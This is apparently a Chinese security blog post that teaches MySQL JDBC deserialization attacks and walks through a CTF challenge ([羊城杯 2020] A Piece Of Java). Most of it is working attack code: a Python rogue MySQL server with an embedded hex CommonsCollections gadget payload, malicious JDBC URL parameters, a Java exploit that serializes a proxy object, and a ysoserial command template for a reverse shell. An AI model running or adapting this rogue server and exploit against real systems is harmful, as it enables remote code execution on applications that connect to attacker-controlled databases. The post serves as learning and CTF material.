Java篇之jdbc反序列化

jdbc反序列化

这几天有点儿痛苦，看完了p神的Java安全漫谈之后有点儿迷茫，jndi看了看，fastjson看了看，jdbc也看了看，但感觉都看的不太细，很多东西也没搞明白，写文章感觉有点儿难受，所以说一周多都没更了，接下来就慢慢学着慢慢总结着吧，先来看看jdbc反序列化

jdbc是啥

JDBC(Java DataBase Connectivity)，是Java与DataBase之间的桥梁，通俗来说，就是利用Java连接数据库的一种方法；是Java语言中用来规范客户端程序如何访问数据库的应用程序接口，提供了诸如查询和更新数据库中数据的方法，能够执行SQL语言；各种关系型数据库都有相应的方法来实现，但这篇文章我们只针对MYSQL数据库哈

连接本地数据库

我们先来看看用Java如何连接本地的数据库，以及如何执行SQL语句

首先我们需要利用Class.forName()方法来加载JDBC驱动程序(driver)，这个不同的版本是不一样的，比如说新版本中com.mysql.jdbc.Driver就已经被弃用了，我们得用新的驱动com.mysql.cj.jdbc.Driver

然后利用DriverManager中的getConnection方法，通过JDBC url，用户名，密码来连接相应的数据库

而JDBC url的格式是：jdbc:mysql://host:port/database_name?参数1=value1&参数2=value2...

加入要连接本地的security数据库就是：jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC，后面那个参数是为了改变时区

在获取Connection之后，便可以创建Statement用以执行SQL语句，随便来看个查询select * from users，所以说代码如下：

import java.sql.*;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.cj.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/security?serverTimezone=UTC";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
        Statement stmt = con.createStatement();
        ResultSet rs = stmt.executeQuery("select * from users");
        while(rs.next()) {
            System.out.println(rs.getString("id") + " : " + rs.getString("username")+"  "+rs.getString("password"));
        }
    }
}

运行结果如下：

连接远程数据库

接下来我们来看看远程的数据库，也就是vps上的MYSQL服务器，连接代码不变，就改改地址就行，主要是这要解决几个配置问题：

首先是需要打开服务器上的3306端口，在控制台打开就行

然后就是由于Mysql的安全配置，很可能会拒绝我们的连接请求，我们先来看看服务端Mysql端口的监听情况

netstat -ntlp | grep 3306

看看Local Address，只有127.0.0.1:3306的话，说明Mysql服务端仅监听来自本机3306端口上的数据库请求，这样肯定是不行的

所以说，我们得先进到mysql目录下，我的是/etc/mysql，搜索哪里有绑定127.0.0.1的网址

grep -nr "127.0.0.1"

然后进到该文件中，将bind-address那一行注释掉就好了，然后重启mysql服务，再查看一下3306端口的监听情况以确定修改成功与否

这样子就好了，远程就能连上了

如果还有啥问题，请参考：https://www.cnblogs.com/chorm590/p/9968475.html

jdbc反序列化原理

既然我们可以通过Java连接数据库了，那么假如JDBC url可控，我们就可以让它连接任意Mysql服务器了，如果服务器中再存在反序列化漏洞，我们就可以设置一个恶意的Mysql服务器，通过ObjectInputStream.readObject()的反序列化攻击从而RCE

就是说咱通过JDBC连接数据库的时候，会有几个内置的SQL语句会被执行，而其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作，如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集，并且攻击者可以控制JDBC连接设置项，那么就能触发MySQL JDBC客户端反序列化漏洞

而这个内置的SQL语句就是：SHOW SESSION STATUS和SHOW COLLATION

本地测试

那我们先本地测一测，首先在vps上起一个恶意Mysql服务器，代码如下：

# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3306

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

然后我们是用cc链来测试的，客户端肯定要有cc依赖哈，然后利用ysoserial来生成cc7的payload，放到payload文件中

java -jar yso*.jar CommonsCollections7 calc > payload

然后运行这个py文件，开始监听：

接下来就来写客户端的代码，很简单，先放代码：

import java.sql.*;

public class test2 {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://xx.xx.xx.xxx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
    }
}

主要就是看这两个参数?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

第一个参数autoDeserialize是用来自动检测与反序列化存在BLOB字段中的对象，为了满足下面的条件，这其实挺简单，记得加上就行

第二个参数就稍微有点儿复杂了，ServerStatusDiffInterceptor是一个拦截器，当我们在JDBC url中设置属性queryInterceptors为ServerStatusDiffInterceptor时，在执行SQL的查询语句的时候，会调用拦截器的postProcess方法，然后调用populateMapWithSessionStatusValues方法，然后调用resultSetToMap方法，然后调用getObject方法，在getObject中，只要autoDeserialize 为True，就可以进入到最后readObject中，最终实现反序列化；而我们前面说到了，当通过JDBC连接数据库的时候，会有几个内置的SQL语句会被执行，所以说这样就通了，而这就是这两个参数的由来，调用链不算很难，我也就不放代码了，给一篇参考文章：https://xz.aliyun.com/t/8159

运行客户端代码，弹出计算器

例题解析 — [羊城杯 2020]A Piece Of Java

这是我人生中做出的第一道CTF的Java题，还挺有纪念意义的哈哈哈，buu上就能复现

这道题给出了源码，放idea中先审审源码：

在入口中看到了/hello下面有一个deserialize，而且它反序列化的是Cookie中的data字段的值，我们是可控的，看看deserialize

看到了硕大的一个readObject()，而且它是先base64解码之后再进行的readObject()

然后我们去看InfoInvocationHandler类，听这个名字就感觉大概是动态代理类，而且里面实现了InvocationHandler和Serializable俩接口，只重写了invoke方法，肯定是个动态代理类，那么通过调用invoke方法，在invoke方法里面调用了checkAllInfo()方法，那么只要我们让this.info是一个DatabaseInfo对象，就可以调用DatabaseInfo对象的checkAllInfo方法了，然后在里面调用了this.connect()方法，连接数据库了：

public class DatabaseInfo implements Serializable, Info {
    private String host;
    private String port;
    private String username;
    private String password;
    private Connection connection;
 private void connect() {
        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
     try {
            this.connection = DriverManager.getConnection(url);
        } catch (Exception var3) {
            var3.printStackTrace();
        }
    }

    public Boolean checkAllInfo() {
        if (this.host != null && this.port != null && this.username != null && this.password != null) {
            if (this.connection == null) {
                this.connect();
            }

            return true;
        } else {
            return false;
        }
    }
}

那其实思路挺简单的，利用动态代理调用invoke，然后通过connect()方法连接我们vps上的恶意数据库实现RCE，写exp了：

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static byte[] serialize(Object o) throws Exception{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(o);
            return barr.toByteArray();

    }

    public static void main(String[] args) throws Exception {
        DatabaseInfo databaseInfo = new DatabaseInfo();
        setFieldValue(databaseInfo, "host", "xx.xx.xx.xx");
        setFieldValue(databaseInfo, "port", "3306");
        setFieldValue(databaseInfo, "username", "Arsene.Tang");
        setFieldValue(databaseInfo, "password", "clyyyyy&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Info.class);
        construct.setAccessible(true);
        InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
        Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
        byte[] bytes = serialize(proxinfo);
        byte[] payload = Base64.getEncoder().encode(bytes);
        System.out.print(new String(payload));
    }
}

前两个方法分别是反射给属性赋值的方法以及序列化的方法，然后在主函数中创建DatabaseInfo对象，用反射赋值，获取代理类对象，最后将序列化后的结果base64加密之后输出出来，很清晰的流程

然后我们在vps中生成一个反弹shell的payload，还是写入到payload文件中，就和我们本地测试的一样

java -jar yso*.jar CommonsCollections5 "bash -c {echo,反弹shell的语句base64后}|{base64,-d}|{bash,-i}" > payload

然后运行上面那个py文件，运行Mysql恶意服务器，将payload打过去，别忘了监听端口：

shell成功弹回来，拿下。